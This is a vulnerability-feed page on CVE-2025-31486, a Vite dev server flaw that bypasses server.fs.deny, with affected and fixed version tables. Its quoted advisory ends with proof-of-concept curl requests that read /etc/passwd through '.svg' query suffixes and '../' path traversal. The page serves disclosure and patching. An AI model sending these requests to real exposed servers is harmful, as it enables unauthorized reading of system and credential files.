Answer in brief
CVE-2025-31486 records a Medium severity (CVSS 5.3) vulnerability in Vite allows server.fs.deny to be bypassed with .svg or relative paths. The current sources do not mark it as known exploited. The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| vitenpm | >=6.2.0 <6.2.5 | 6.2.5 |
| vitenpm | >=6.1.0 <6.1.4 | 6.1.4 |
| vitenpm | >=6.0.0 <6.0.14 | 6.0.14 |
| vitenpm | >=5.0.0 <5.4.17 | 5.4.17 |
| vitenpm | >=0 <4.5.12 | 4.5.12 |
| vitenpm | >=6.2.0,<=6.2.4 | Not reported |
| vitenpm | >=6.1.0,<=6.1.3 | Not reported |
| vitenpm | >=6.0.0,<=6.0.13 | Not reported |
| vitenpm | >=5.0.0,<=5.4.16 | Not reported |
| vitenpm | <=4.5.11 | Not reported |
Published upstream
Apr 3, 2025
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Feb 4, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 7, 2026
### Summary The contents of arbitrary files can be returned to the browser. ### Impact Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected. ### Details #### `.svg` Requests ending with `.svg` are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding `?.svg` with `?.wasm?init` or with `sec-fetch-dest: script` header, the restriction was able to bypass. This bypass is only possible if the file is smaller than [`build.assetsInlineLimit`](https://vite.dev/config/build-options.html#build-assetsinlinelimit) (default: 4kB) and when using Vite 6.0+. #### relative paths The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. `../../`). ### PoC ```bash npm create vite@latest cd vite-project/ npm install npm run dev ``` send request to read `etc/passwd` ```bash curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init' ``` ```bash curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw' ```
Quoted source text, attributed separately from HOL analysis.